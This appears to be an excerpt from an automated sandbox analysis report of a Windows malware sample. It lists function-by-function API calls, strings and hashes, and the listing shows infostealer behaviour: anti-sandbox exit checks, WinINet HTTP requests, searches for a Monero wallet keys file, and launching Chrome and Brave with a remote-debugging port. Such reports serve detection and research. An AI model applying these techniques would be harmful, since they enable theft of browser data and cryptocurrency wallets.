CloseHandle.KERNEL32(?,00000000,?,01BF9DB8,?,00EC10F4,?,00000000,?,00EC10F8,?,00000000,00EC0AF3), ref: 00EB6DBA
ExitProcess.KERNEL32 ref: 00EB6DC2

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 0c8a062e690da293c28f855c9d6998a87f007f0d0f26c07becef762ac4c2fbb9
Instruction ID: 2ea10f9427571b6168066df0d7d4e9ba4c0ff0aa32240fc14953c90e0ddd1dac
Opcode Fuzzy Hash: 0c8a062e690da293c28f855c9d6998a87f007f0d0f26c07becef762ac4c2fbb9
Instruction Fuzzy Hash: 0DF05830A44209ABEF24BBA0EC0ABFF33B4AF04705F142935F622B52C4CBB45540CBA1

Function 00EA4800 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00EA4889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00EA4899

Strings

<, xrefs: 00EA4819

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 53e8b5d1ed08c606de41d1c28f0ede9c5f52086e6dc4d1341cc0206bdeb1c2eb
Instruction ID: 107f3ac1edca3fd1b438ef42b2e74863775ab40b01468a689db85bba1b29d582
Opcode Fuzzy Hash: 53e8b5d1ed08c606de41d1c28f0ede9c5f52086e6dc4d1341cc0206bdeb1c2eb
Instruction Fuzzy Hash: D2211FB1D00209ABDF14DFA4E845ADE7BB5FB45321F148625F925B72C0DB706A05CF91

Function 00EB5440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00EBAAF6

Part of subcall function 00EA62D0: InternetOpenA.WININET(00EC0DFF,00000001,00000000,00000000,00000000), ref: 00EA6331
Part of subcall function 00EA62D0: StrCmpCA.SHLWAPI(?,01BFF7D0), ref: 00EA6353
Part of subcall function 00EA62D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EA6385
Part of subcall function 00EA62D0: HttpOpenRequestA.WININET(00000000,GET,?,01BFF220,00000000,00000000,00400100,00000000), ref: 00EA63D5
Part of subcall function 00EA62D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00EA640F
Part of subcall function 00EA62D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00EA6421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00EB5478

Strings

ERROR, xrefs: 00EB546A
ERROR, xrefs: 00EB54C3

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: bce14c8951fd7aefa14c10fd0c49c5f719be267d7d41eb62db877d4c9b473718
Instruction ID: 0f3a818355827205b56ad764187950be41e5348766fd16f65252b329d19b6aea
Opcode Fuzzy Hash: bce14c8951fd7aefa14c10fd0c49c5f719be267d7d41eb62db877d4c9b473718
Instruction Fuzzy Hash: 4411EF31910108AACF14FF64D992AEE73B99F54340F445578E91A7A592EB30AB05C691

Function 00EA1220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00EA123E
ExitProcess.KERNEL32 ref: 00EA1294

Strings

@, xrefs: 00EA1233

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: 924c4949ada31f3684270fe38c3f077e3d72c9f7691d4f941d2c45842662c67c
Instruction ID: 87cedb9a619a2198a6b1f4fb33b7417040aedc8abed72fea1676411e51ea7a86
Opcode Fuzzy Hash: 924c4949ada31f3684270fe38c3f077e3d72c9f7691d4f941d2c45842662c67c
Instruction Fuzzy Hash: 850162B0D44308BAEF10DFE0DD4AB9EB7B8EB14705F145498E604BA2D0D674A5419769

Function 00EB7A70 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EB7AA0
RtlAllocateHeap.NTDLL(00000000), ref: 00EB7AA7
GetComputerNameA.KERNEL32(?,00000104), ref: 00EB7ABF

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 9702e4e9ed714b10dc46a1fd0e2e8396b54d1b26aea42497f1d955a962e0a22c
Instruction ID: 11ebe3a871f870b6a50bd6bbb8e1027f4a369ed7f6762d32d6a35f3664ba7317
Opcode Fuzzy Hash: 9702e4e9ed714b10dc46a1fd0e2e8396b54d1b26aea42497f1d955a962e0a22c
Instruction Fuzzy Hash: BF01ADB1A08309ABC714CF88D949BEFBBB8FB44710F10022AF551F2780D7B45A008BA1

Function 00EA1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00EA112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00EA1132
ExitProcess.KERNEL32 ref: 00EA1143

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 9e46fba198e00a99f3538a15d1d82ffe3ebec8626b56ee578ae6eaa8931d67d2
Instruction ID: f64fb47748b1664cb885fea570a08df316d7bf422f079ef4828512cb715323ba
Opcode Fuzzy Hash: 9e46fba198e00a99f3538a15d1d82ffe3ebec8626b56ee578ae6eaa8931d67d2
Instruction Fuzzy Hash: A5E0CD7094530CFFE7246BA0DC0EB0C767C9B08B05F1000A4F7187A2C0C6F436804758

Function 00EA10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00EA10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00EA10F7

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 128c938291ecaa2ee7b3eea3254385911fd443b3039a6c1aa4989c722162477c
Instruction ID: 40330c267aa8feeb1e3e3e70b1fa8a327a0ab56079a8a1add3afaf2ac97def9e
Opcode Fuzzy Hash: 128c938291ecaa2ee7b3eea3254385911fd443b3039a6c1aa4989c722162477c
Instruction Fuzzy Hash: F9F08971641214BBE7189AB4AC99FAFB7ECE705705F301454F544E7380D571AE40D7A4

Function 00EA1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00EB7A70: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EB7AA0
Part of subcall function 00EB7A70: RtlAllocateHeap.NTDLL(00000000), ref: 00EB7AA7
Part of subcall function 00EB7A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00EB7ABF

Part of subcall function 00EB79E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00EA11B7), ref: 00EB7A10
Part of subcall function 00EB79E0: RtlAllocateHeap.NTDLL(00000000), ref: 00EB7A17
Part of subcall function 00EB79E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00EB7A2F

ExitProcess.KERNEL32 ref: 00EA11C6

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: ac5bcf4dfad4a5e9f947939e965ff27ec4a3595034a84b6e725369414b0e1187
Instruction ID: aa8a03af817a267b3eda86db86da480e302722d8196f2cb9e09f67461c95b9fe
Opcode Fuzzy Hash: ac5bcf4dfad4a5e9f947939e965ff27ec4a3595034a84b6e725369414b0e1187
Instruction Fuzzy Hash: 57E0C7B990030153DE2473B0BC0BBAB36EC4B6938EF002824FA08B2742FE20F8418721

Non-executed Functions

Function 00EABE40 Relevance: 58.5, APIs: 26, Strings: 7, Instructions: 730fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Part of subcall function 00EBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00EBAC82
Part of subcall function 00EBAC30: lstrcat.KERNEL32(00000000), ref: 00EBAC92

Part of subcall function 00EBACC0: lstrlen.KERNEL32(?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EBACD5
Part of subcall function 00EBACC0: lstrcpy.KERNEL32(00000000), ref: 00EBAD14
Part of subcall function 00EBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00EBAD22

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

FindFirstFileA.KERNEL32(00000000,?,00EC0B32,00EC0B2F,00000000,?,?,?,00EC1450,00EC0B2E), ref: 00EABEC5
StrCmpCA.SHLWAPI(?,00EC1454), ref: 00EABF33
StrCmpCA.SHLWAPI(?,00EC1458), ref: 00EABF49
FindNextFileA.KERNEL32(000000FF,?), ref: 00EAC8A9
FindClose.KERNEL32(000000FF), ref: 00EAC8BB

Strings

Google Chrome, xrefs: 00EAC6F8
--remote-debugging-port=9229 --profile-directory=", xrefs: 00EAC495
Preferences, xrefs: 00EAC104
--remote-debugging-port=9229 --profile-directory=", xrefs: 00EAC3B2
\Brave\Preferences, xrefs: 00EAC1C1
--remote-debugging-port=9229 --profile-directory=", xrefs: 00EAC534
Brave, xrefs: 00EAC0E8

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-1869280968
Opcode ID: 3bcf169285b89c0fd0d2d436ab7db801f022eaf09b87cffec732e96b71c8e565
Instruction ID: 9c566b16124298587233dd6c8d351a10a3ee9bcdfd07ec54ed2245e8375737a3
Opcode Fuzzy Hash: 3bcf169285b89c0fd0d2d436ab7db801f022eaf09b87cffec732e96b71c8e565
Instruction Fuzzy Hash: 0E520072910108ABCF14FB60DD96EEF73BDAB55304F4455B8B51A76181EE30AB48CFA2

Function 00EB3B00 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00EB3B1C
FindFirstFileA.KERNEL32(?,?), ref: 00EB3B33
lstrcat.KERNEL32(?,?), ref: 00EB3B85
StrCmpCA.SHLWAPI(?,00EC0F58), ref: 00EB3B97
StrCmpCA.SHLWAPI(?,00EC0F5C), ref: 00EB3BAD
FindNextFileA.KERNEL32(000000FF,?), ref: 00EB3EB7
FindClose.KERNEL32(000000FF), ref: 00EB3ECC

Strings

%s%s, xrefs: 00EB3CFD
%s\%s, xrefs: 00EB3BCA
%s\*, xrefs: 00EB3B10
%s\%s, xrefs: 00EB3CBF
%s\%s\%s, xrefs: 00EB3C9A

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: f3ffc7df8987b3174f791be060a1a508f7ac4ade7adb8671e7996543ed5e0fd2
Instruction ID: ba18fc8d51fab22bf6bba736934be03d8e60c5a4c7e43160a9f20d445a647bc5
Opcode Fuzzy Hash: f3ffc7df8987b3174f791be060a1a508f7ac4ade7adb8671e7996543ed5e0fd2
Instruction Fuzzy Hash: C0A151B1A002089BDB34DFA4DC89FEE73B9BB49300F044599F61DA6185EB719B84CF61

Function 00EB4B60 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00EB4B7C
FindFirstFileA.KERNEL32(?,?), ref: 00EB4B93
StrCmpCA.SHLWAPI(?,00EC0FC4), ref: 00EB4BC1
StrCmpCA.SHLWAPI(?,00EC0FC8), ref: 00EB4BD7
